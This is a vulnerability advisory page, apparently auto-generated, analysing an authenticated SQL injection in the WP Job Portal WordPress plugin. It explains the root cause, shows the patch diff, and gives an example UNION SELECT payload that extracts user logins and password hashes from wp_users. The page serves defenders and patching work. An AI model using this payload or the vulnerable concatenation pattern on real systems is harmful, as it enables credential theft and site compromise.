Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-65569: WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.6 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin wp-job-portal
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.5.6
Patched Version 2.5.7
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65569: This is an authenticated SQL injection vulnerability in the WP Job Portal plugin for WordPress, affecting versions up to and including 2.5.6. The flaw resides in multiple code paths where user-supplied data is concatenated directly into SQL queries without proper parameterization. A subscriber-level attacker can exploit this to execute arbitrary SQL statements, leading to sensitive data exposure. The CVSS score is 6.5 (Medium).

The root cause is insufficient escaping and lack of prepared statements across several files. In includes/classes/customfields.php, the function getCustomFields (line 1434) uses esc_sql on the $wpjobportal_fieldfor parameter, which is insufficient for numeric context. The patch changes it to an integer cast. In includes/classes/uploads.php, functions like uploadLogo (line 148) and uploadProfilePhoto (line 255) concatenate $wpjobportal_id directly into queries after esc_sql, which does not prevent SQL injection when the value is numeric but not quoted. The patch replaces these with (int) casts. In includes/classes/user.php, functions such as getCurrentUser (line 12), getWPJobPortalUser (line 46), and roleid (line 123) use esc_sql on variables like $wpuserid and $wpjobportal_id before embedding them in SQL. The patch introduces wpjobportal::$_db->prepare with %d placeholders. Other files like includes/deactivation.php and includes/activation.php also had similar issues, patched with (int) casts or prepare. The common thread is that esc_sql alone is not safe for numeric parameters; an attacker can supply a string that breaks out of the intended context.

Exploitation requires authentication as a subscriber or higher. The attacker sends crafted HTTP requests to endpoints that trigger the vulnerable functions. For example, in user.php, the getWPJobPortalUser function is likely called via an AJAX action or a shortcode. An attacker could manipulate the ‘id’ parameter with a payload like ‘1 UNION SELECT user_login, user_pass FROM wp_users–‘ to extract credentials. The vulnerable parameters include ‘id’, ‘uid’, ‘resumeid’, ‘entity_id’, and ‘socialid’. The attack vector is through the plugin’s AJAX handlers or form submissions that pass these parameters to the vulnerable functions. The patch also hardens the AJAX dispatcher in includes/ajax.php by validating the task against an allowlist and ensuring the method exists, which reduces the attack surface but the SQL injection is primarily fixed by parameterization.

The patch fixes the issue by replacing string concatenation with either integer casting or prepared statements. For numeric parameters, (int) casts ensure the value is treated as an integer, preventing injection. For string parameters like $admin_email and $wpjobportal_socialid, the patch uses $wpdb->prepare with %s placeholders, which properly escapes the input. Additionally, the AJAX handler now sanitizes the task parameter and restricts it to a predefined list, and checks that the called method exists and has no required parameters, mitigating related vulnerabilities. This combination of input validation and parameterized queries eliminates the SQL injection risk.

If exploited, this vulnerability allows an attacker with subscriber-level access to read arbitrary data from the WordPress database, including user credentials, personally identifiable information, and other sensitive data. This can lead to privilege escalation if admin credentials are extracted, and potentially full site compromise. The impact is severe given the low privileges required and the potential for data breach.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-job-portal/includes/activation.php
+++ b/wp-job-portal/includes/activation.php
@@ -30,12 +30,12 @@

         // admin email address
         $admin_email = get_option( 'admin_email' );
-        $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = '".esc_sql($admin_email)."' WHERE `configname`= 'adminemailaddress'";
+        $query = wpjobportal::$_db->prepare("UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = %s WHERE `configname`= 'adminemailaddress'", $admin_email);
         wpjobportaldb::query($query);

         // send by email address
         $wpjobportal_send_by_email = 'wordpress@' . str_replace( 'www.', '', wp_parse_url( home_url(), PHP_URL_HOST ) );
-        $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = '".esc_sql($wpjobportal_send_by_email)."' WHERE `configname`= 'mailfromaddress'";
+        $query = wpjobportal::$_db->prepare("UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = %s WHERE `configname`= 'mailfromaddress'", $wpjobportal_send_by_email);
         wpjobportaldb::query($query);
       }

@@ -52,7 +52,7 @@
             $wpjobportal_pageid = wp_insert_post($post);
             if(is_numeric($wpjobportal_pageid)){
                 // insert wp job portal jobseeker control panel id to configuration
-                $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = ".esc_sql($wpjobportal_pageid)." WHERE `configname`= 'default_pageid'";
+                $query = wpjobportal::$_db->prepare("UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_config` SET `configvalue` = %d WHERE `configname`= 'default_pageid'", $wpjobportal_pageid);
                 wpjobportaldb::query($query);
             }
         } else {
@@ -468,7 +468,7 @@
               ('searchjobtag', '4', 'job', 'tag'),
               ('categories_colsperrow', '3', 'category', NULL),
               ('productcode', 'wpjobportal', 'default', NULL),
-              ('versioncode', '2.5.6', 'default', NULL),
+              ('versioncode', '2.5.7', 'default', NULL),
               ('producttype', 'free', 'default', NULL),
               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),
               ('vis_emcredits', '1', 'emcontrolpanel', NULL),
@@ -493,6 +493,8 @@
               ('indeedjob_location', '', 'indeedjob', NULL),
               ('disable_employer', '1', 'wpjobportal', NULL),
               ('newtyped_cities', '0', 'city', 'addressdata'),
+              ('job_sitemap_enable', '0', 'seo', NULL),
+              ('job_sitemap_limit', '5000', 'seo', NULL),
               ('indeedjob_enabled', '0', 'indeedjob', NULL),
               ('indeedjob_apikey', '', 'indeedjob', NULL),
               ('indeedjob_category', '', 'indeedjob', NULL),
--- a/wp-job-portal/includes/ajax.php
+++ b/wp-job-portal/includes/ajax.php
@@ -37,15 +37,29 @@
                                 'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess',
                                 'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode','getAjaxJobs', 'executeCompanyCopilot',
                                 'executeJobCopilot', 'executeResumeCopilot', 'executeCoverLetterCopilot');
-        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
-        if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){
+        $wpjobportal_task = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+        if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed, true)){
             $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');

             // $wpjobportal_module = str_replace("..","",$wpjobportal_module);
 			// $wpjobportal_module = str_replace("/","",$wpjobportal_module);
             $wpjobportal_module = sanitize_key( $wpjobportal_module );
-
-            $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task();
+            if (empty($wpjobportal_module)) {
+                die('Not Allowed!');
+            }
+            $wpjobportal_model_path = WPJOBPORTALincluder::getPluginPath($wpjobportal_module, 'model');
+            if (empty($wpjobportal_model_path) || !file_exists($wpjobportal_model_path)) {
+                die('Not Allowed!');
+            }
+            $wpjobportal_model = WPJOBPORTALincluder::getJSModel($wpjobportal_module);
+            if (!is_object($wpjobportal_model) || !method_exists($wpjobportal_model, $wpjobportal_task) || !is_callable(array($wpjobportal_model, $wpjobportal_task))) {
+                die('Not Allowed!');
+            }
+            $wpjobportal_reflection = new ReflectionMethod($wpjobportal_model, $wpjobportal_task);
+            if ($wpjobportal_reflection->getNumberOfRequiredParameters() > 0) {
+                die('Not Allowed!');
+            }
+            $wpjobportal_result = $wpjobportal_model->$wpjobportal_task();
             // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML)
             echo $wpjobportal_result;
             die();
@@ -55,7 +69,11 @@
     }

     function ajaxhandlerpopup() {
-        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
+        $wpjobportal_task = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+        $wpjobportal_allowed = array('featured_company','featured_job','featured_resume','view_company_contact_detail','view_resume_contact_detail','resume_save_search','add_department','add_job','copy_job','add_company','add_resume','add_job_alert','job_apply');
+        if (!in_array($wpjobportal_task, $wpjobportal_allowed, true)) {
+            die('Not Allowed!');
+        }
         $wpjobportal_result = WPJOBPORTALincluder::getObjectClass('usercredits')->getUserCreditsDetailForAction($wpjobportal_task);
         // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML)
         echo $wpjobportal_result;
@@ -63,7 +81,11 @@
     }

     function ajaxhandlerpopupaction() {
-        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
+        $wpjobportal_task = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+        $wpjobportal_allowed = array('featured_company','featured_job','featured_resume','copy_job');
+        if (!in_array($wpjobportal_task, $wpjobportal_allowed, true)) {
+            die('Not Allowed!');
+        }
         $wpjobportal_result = WPJOBPORTALincluder::getObjectClass('usercredits')->doAction($wpjobportal_task);
         // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML)
         echo $wpjobportal_result;
@@ -71,19 +93,36 @@
     }

     function ajaxhandlerloginwith() {
-        $wpjobportal_socialmedia = WPJOBPORTALrequest::getVar('socialmedia');
-        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
+        $wpjobportal_socialmedia = sanitize_key(WPJOBPORTALrequest::getVar('socialmedia'));
+        $wpjobportal_task = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+        $wpjobportal_allowed_tasks = array(
+            'facebook' => array('login', 'logout', 'applywithfacebook'),
+            'linkedin' => array('login', 'logout', 'applywithlinkedin'),
+            'xing' => array('login', 'logout', 'applywithxing'),
+        );
+        if (!isset($wpjobportal_allowed_tasks[$wpjobportal_socialmedia]) || !in_array($wpjobportal_task, $wpjobportal_allowed_tasks[$wpjobportal_socialmedia], true)) {
+            die('Not Allowed!');
+        }
+        $wpjobportal_result = '';
         switch ($wpjobportal_socialmedia) {
             case 'facebook':
-                $wpjobportal_result = WPJOBPORTALincluder::getObjectClass('facebook')->$wpjobportal_task();
+                $wpjobportal_object = WPJOBPORTALincluder::getObjectClass('facebook');
                 break;
             case 'linkedin':
-                $wpjobportal_result = WPJOBPORTALincluder::getObjectClass('linkedin')->$wpjobportal_task();
+                $wpjobportal_object = WPJOBPORTALincluder::getObjectClass('linkedin');
                 break;
             case 'xing':
-                $wpjobportal_result = WPJOBPORTALincluder::getObjectClass('xing')->$wpjobportal_task();
+                $wpjobportal_object = WPJOBPORTALincluder::getObjectClass('xing');
                 break;
         }
+        if (!isset($wpjobportal_object) || !method_exists($wpjobportal_object, $wpjobportal_task) || !is_callable(array($wpjobportal_object, $wpjobportal_task))) {
+            die('Not Allowed!');
+        }
+        $wpjobportal_reflection = new ReflectionMethod($wpjobportal_object, $wpjobportal_task);
+        if ($wpjobportal_reflection->getNumberOfRequiredParameters() > 0) {
+            die('Not Allowed!');
+        }
+        $wpjobportal_result = $wpjobportal_object->$wpjobportal_task();
         // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML)
         echo $wpjobportal_result;
         die();
--- a/wp-job-portal/includes/classes/customfields.php
+++ b/wp-job-portal/includes/classes/customfields.php
@@ -1434,7 +1434,7 @@
         //$wpjobportal_inquery .= " AND (userfieldtype = 'text' OR userfieldtype = 'email')";
         $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams
         FROM " . wpjobportal::$_db->prefix . "wj_portal_fieldsordering
-        WHERE isuserfield = 1 AND " . esc_sql($wpjobportal_published) . " AND fieldfor =" . esc_sql($wpjobportal_fieldfor) . $wpjobportal_inquery;
+        WHERE isuserfield = 1 AND " . esc_sql($wpjobportal_published) . " AND fieldfor =" . (int) ($wpjobportal_fieldfor) . $wpjobportal_inquery;
         $query .= " ORDER BY ordering ASC "; // to handle the case of ordering on listing layouts
         $wpjobportal_data = wpjobportaldb::get_results($query);
         return $wpjobportal_data;
@@ -1514,25 +1514,25 @@
             //$wpjobportal_row->update(array('id' => $wpjobportal_id, 'status' => -1))
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('company');
             $wpjobportal_row->update(array('id' => $wpjobportal_id, 'params' => $params));
-            //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             //wpjobportal::$_db->query($query);
             $wpjobportal_entity_for = 'company';
         }else if($wpjobportal_entity == 2){
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('job');
             $wpjobportal_row->update(array('id' => $wpjobportal_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
             $wpjobportal_entity_for = 'job';
         }else if($wpjobportal_entity == WPJOBPORTAL_RESUME){
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('resume');
             $wpjobportal_row->update(array('id' => $wpjobportal_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
             $wpjobportal_entity_for = 'resume';
         }elseif ($wpjobportal_entity == 4) {
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('users');
             $wpjobportal_row->update(array('id' => $wpjobportal_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
             $wpjobportal_entity_for = 'user';
         }
@@ -1609,20 +1609,20 @@
         }
         /*

-        //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
-// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
-// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
-// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+        //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
+// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
+// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
+// $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
         */
         $query = '';
         if($wpjobportal_uploadfor == 'company'){
-            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_companies` WHERE id = ".esc_sql($wpjobportal_entity_id);
+            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_companies` WHERE id = " . (int) ($wpjobportal_entity_id);
         }elseif($wpjobportal_uploadfor == 'job'){
-            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_jobs` WHERE id = ".esc_sql($wpjobportal_entity_id);
+            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_jobs` WHERE id = " . (int) ($wpjobportal_entity_id);
         }elseif($wpjobportal_uploadfor == 'resume'){
-            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_resume` WHERE id = ".esc_sql($wpjobportal_entity_id);
+            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_resume` WHERE id = " . (int) ($wpjobportal_entity_id);
         }elseif($wpjobportal_uploadfor == 'user'){
-            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_users` WHERE id = ".esc_sql($wpjobportal_entity_id);
+            $query = "SELECT params FROM `".wpjobportal::$_db->prefix."wj_portal_users` WHERE id = " . (int) ($wpjobportal_entity_id);
         }
         $params = '';
         if($query != ''){
@@ -1641,22 +1641,22 @@
         if($wpjobportal_uploadfor == 'company'){
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('company');
             $wpjobportal_row->update(array('id' => $wpjobportal_entity_id, 'params' => $params));
-            //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            //$query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             //wpjobportal::$_db->query($query);
         }else if($wpjobportal_uploadfor == 'job'){
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('job');
             $wpjobportal_row->update(array('id' => $wpjobportal_entity_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_jobs` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
         }else if($wpjobportal_uploadfor == 'resume'){
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('resume');
             $wpjobportal_row->update(array('id' => $wpjobportal_entity_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
         }elseif ($wpjobportal_uploadfor == 'user') {
             $wpjobportal_row = WPJOBPORTALincluder::getJSTable('users');
             $wpjobportal_row->update(array('id' => $wpjobportal_entity_id, 'params' => $params));
-            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =". esc_sql($wpjobportal_id);
+            // $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET `params`='$params' WHERE `id` =" . (int) ($wpjobportal_id);
             // wpjobportal::$_db->query($query);
         }

--- a/wp-job-portal/includes/classes/uploads.php
+++ b/wp-job-portal/includes/classes/uploads.php
@@ -148,7 +148,7 @@
         // Set everything back to normal.
         remove_filter( 'upload_dir', array($this,'wpjobportal_upload_dir'));
         if($return == 1){
-            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET logofilename = '".esc_sql($filename)."', logoisfile = 1 WHERE id = ".esc_sql($wpjobportal_id);
+            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET logofilename = '".esc_sql($filename)."', logoisfile = 1 WHERE id = " . (int) ($wpjobportal_id);
             wpjobportal::$_db->query($query);

             // --- NEW HOOK INTEGRATION START ---
@@ -183,7 +183,7 @@
             if (@ $wp_filesystem->put_contents( $file, '', 0755 ) ) {
             }
         }else{
-            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET logofilename = '', logoisfile = -1 WHERE id = ".esc_sql($wpjobportal_id);
+            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_companies` SET logofilename = '', logoisfile = -1 WHERE id = " . (int) ($wpjobportal_id);
             wpjobportal::$_db->query($query);
         }

@@ -255,7 +255,7 @@
         $wpjobportal_result = $this->uploadImage(filter_var_array($_FILES['photo']));
         $wpjobportal_profilepath = wpjobportalphplib::wpJP_explode($wpjobportal_result['filename'], $wpjobportal_result['url']);
         if( !isset($wpjobportal_result['error']) ){
-            $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_users` SET photo = '".esc_sql($wpjobportal_result['filename'])."' WHERE uid = ".esc_sql($wpjobportal_id);
+            $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_users` SET photo = '".esc_sql($wpjobportal_result['filename'])."' WHERE uid = " . (int) ($wpjobportal_id);
             wpjobportal::$_db->query($query);

             // --- NEW HOOK INTEGRATION START ---
@@ -319,7 +319,7 @@
             @wp_delete_file($wpjobportal_path);
             $wpjobportal_path = $filepath.'s_'.$filename;
             @wp_delete_file($wpjobportal_path);
-            $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_users` SET photo = '' WHERE uid = ".esc_sql($wpjobportal_uid);
+            $query = "UPDATE `" . wpjobportal::$_db->prefix . "wj_portal_users` SET photo = '' WHERE uid = " . (int) ($wpjobportal_uid);
             wpjobportal::$_db->query($query);
         }
         return true;
@@ -433,7 +433,7 @@
         // Set everything back to normal.
         remove_filter( 'upload_dir', array($this,'wpjobportal_upload_dir'));
         if($return == true){
-            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET photo = '".esc_sql($filename)."' WHERE id = ".esc_sql($wpjobportal_id);
+            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_resume` SET photo = '".esc_sql($filename)."' WHERE id = " . (int) ($wpjobportal_id);
             wpjobportal::$_db->query($query);

             // --- NEW HOOK INTEGRATION START ---
@@ -525,7 +525,7 @@
         // Set everything back to normal.
         remove_filter( 'upload_dir', array($this,'wpjobportal_upload_dir'));
         if($return == true){
-            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET photo = '".esc_sql($filename)."' WHERE id = ".esc_sql($wpjobportal_id);
+            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_users` SET photo = '".esc_sql($filename)."' WHERE id = " . (int) ($wpjobportal_id);
             wpjobportal::$_db->query($query);

             // --- NEW HOOK INTEGRATION START ---
@@ -587,7 +587,7 @@
         $filename = '';
         $return = true;
         $wpjobportal_maxfiles = wpjobportal::$_config->getConfigurationByConfigName('document_max_files');
-        $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_resumefiles` WHERE resumeid =". esc_sql($wpjobportal_id);
+        $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_resumefiles` WHERE resumeid =" . (int) ($wpjobportal_id);
         $wpjobportal_totalfiles = wpjobportal::$_db->get_var($query);
         foreach($_FILES['resumefiles']['name'] AS $wpjobportal_key => $wpjobportal_value){
             if ($wpjobportal_maxfiles > $wpjobportal_totalfiles) {
--- a/wp-job-portal/includes/classes/user.php
+++ b/wp-job-portal/includes/classes/user.php
@@ -12,13 +12,14 @@
             $wpuserid = get_current_user_id();
             if (!is_numeric($wpuserid))
                 return false;
-            $query = "SELECT * FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = " . esc_sql($wpuserid);
+            $query = wpjobportal::$_db->prepare("SELECT * FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = %d", $wpuserid);
             $this->currentuser = wpjobportal::$_db->get_row($query);
         }else { // wp user is not logged in
         //sanitize_key($_SESSION['wpjobportal-socialid'])
             if (isset($_COOKIE['wpjobportal-socialid']) && !empty($_COOKIE['wpjobportal-socialid'])) { // social user is logged in

-                $query = "SELECT * FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = '" . sanitize_key($_COOKIE['wpjobportal-socialid']) . "'";
+                $wpjobportal_socialid = sanitize_key(wp_unslash($_COOKIE['wpjobportal-socialid']));
+                $query = wpjobportal::$_db->prepare("SELECT * FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = %s", $wpjobportal_socialid);
                 $this->currentuser = wpjobportal::$_db->get_row($query);
             }
         }
@@ -45,7 +46,8 @@
         if(is_numeric($wpjobportal_id)){
             $query = "SELECT users.id,users.uid,users.first_name,users.photo,users.emailaddress,users.last_name,users.socialmedia
             FROM " . wpjobportal::$_db->prefix . "wj_portal_users AS users
-            WHERE users.id != 0 AND ".esc_sql($wpjobportal_string)."=".esc_sql($wpjobportal_id) ."  LIMIT 1 ";
+            WHERE users.id != 0 AND " . $wpjobportal_string . " = %d  LIMIT 1 ";
+            $query = wpjobportal::$_db->prepare($query, $wpjobportal_id);
             return wpjobportal::$_db->get_row($query);
         }

@@ -66,7 +68,8 @@
             if(is_numeric($wpjobportal_id)){
                 $query = "SELECT users.id,users.uid,users.first_name,users.photo,users.emailaddress,users.last_name,users.socialmedia
                 FROM " . wpjobportal::$_db->prefix . "wj_portal_users AS users
-                WHERE users.id != 0 AND ".esc_sql($wpjobportal_string)."=".esc_sql($wpjobportal_id) ."  LIMIT 1 ";
+                WHERE users.id != 0 AND " . $wpjobportal_string . " = %d  LIMIT 1 ";
+            $query = wpjobportal::$_db->prepare($query, $wpjobportal_id);
                 return wpjobportal::$_db->get_row($query);
             }else{
                 return false;
@@ -81,7 +84,7 @@
             $wpuserid = get_current_user_id();
             if (!is_numeric($wpuserid))
                 return false;
-            $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = " . esc_sql($wpuserid);
+            $query = wpjobportal::$_db->prepare("SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = %d", $wpuserid);
             $wpjobportal_result = wpjobportal::$_db->get_var($query);
             if ($wpjobportal_result > 0) {
                 return true;
@@ -90,7 +93,8 @@
             }
         } else {
             if (isset($_COOKIE['wpjobportal-socialid']) && !empty($_COOKIE['wpjobportal-socialid'])) { // social user is logged in
-                $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = '" . sanitize_key($_COOKIE['wpjobportal-socialid']) . "'";
+                $wpjobportal_socialid = sanitize_key(wp_unslash($_COOKIE['wpjobportal-socialid']));
+                $query = wpjobportal::$_db->prepare("SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = %s", $wpjobportal_socialid);
                 $wpjobportal_result = wpjobportal::$_db->get_var($query);
                 if ($wpjobportal_result > 0) {
                     return true;
@@ -123,7 +127,7 @@

     function roleid($wpjobportal_uid=0){
         if(is_numeric($wpjobportal_uid) && $wpjobportal_uid != 0){
-            $query = "SELECT roleid FROM ".wpjobportal::$_db->prefix."wj_portal_users WHERE id = ".esc_sql($wpjobportal_uid);
+            $query = wpjobportal::$_db->prepare("SELECT roleid FROM ".wpjobportal::$_db->prefix."wj_portal_users WHERE id = %d", $wpjobportal_uid);
             return wpjobportaldb::get_var($query);
         }elseif($this->currentuser != null) {
             return $this->currentuser->roleid;
@@ -173,7 +177,7 @@
         }else{
             if(is_numeric($wpjobportal_uid)){
                 if(wpjobportal::$_common->wpjp_isadmin()){
-                    $query = "SELECT CONCAT(first_name,' ',last_name) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE `ID` = " . esc_sql($wpjobportal_uid);
+                    $query = wpjobportal::$_db->prepare("SELECT CONCAT(first_name,' ',last_name) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE `ID` = %d", $wpjobportal_uid);
                     return wpjobportal::$_db->get_var($query);
                 }else{
                     return '';
@@ -201,7 +205,7 @@
             $wpuserid = get_current_user_id();
             if (!is_numeric($wpuserid))
                 return false;
-            $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = " . esc_sql($wpuserid);
+            $query = wpjobportal::$_db->prepare("SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE uid = %d", $wpuserid);
             $wpjobportal_result = wpjobportal::$_db->get_var($query);
             if ($wpjobportal_result > 0) {
                 return true;
@@ -210,7 +214,8 @@
             }
         } else {
             if (isset($_COOKIE['wpjobportal-socialid']) && !empty($_COOKIE['wpjobportal-socialid'])) { // social user is logged in
-                $query = "SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = '" . sanitize_key($_COOKIE['wpjobportal-socialid']) . "'";
+                $wpjobportal_socialid = sanitize_key(wp_unslash($_COOKIE['wpjobportal-socialid']));
+                $query = wpjobportal::$_db->prepare("SELECT COUNT(id) FROM `" . wpjobportal::$_db->prefix . "wj_portal_users` WHERE socialid = %s", $wpjobportal_socialid);
                 $wpjobportal_result = wpjobportal::$_db->get_var($query);
                 if ($wpjobportal_result > 0) {
                     return true;
@@ -231,7 +236,7 @@

     function getwpjobportaluidbyuserid($wpjobportal_userid){
         if(!is_numeric($wpjobportal_userid)) return false;
-        $query = "SELECT id FROM `".wpjobportal::$_db->prefix."wj_portal_users` WHERE uid = ".esc_sql($wpjobportal_userid);
+        $query = wpjobportal::$_db->prepare("SELECT id FROM `".wpjobportal::$_db->prefix."wj_portal_users` WHERE uid = %d", $wpjobportal_userid);
         $wpjobportal_uid = wpjobportal::$_db->get_var($query);
         return $wpjobportal_uid;
     }
--- a/wp-job-portal/includes/deactivation.php
+++ b/wp-job-portal/includes/deactivation.php
@@ -9,7 +9,7 @@
         wp_clear_scheduled_hook('wpjobportal_cronjobs_action');
         $wpjobportal_id = wpjobportal::wpjobportal_getPageid();
         if(is_numeric($wpjobportal_id)){
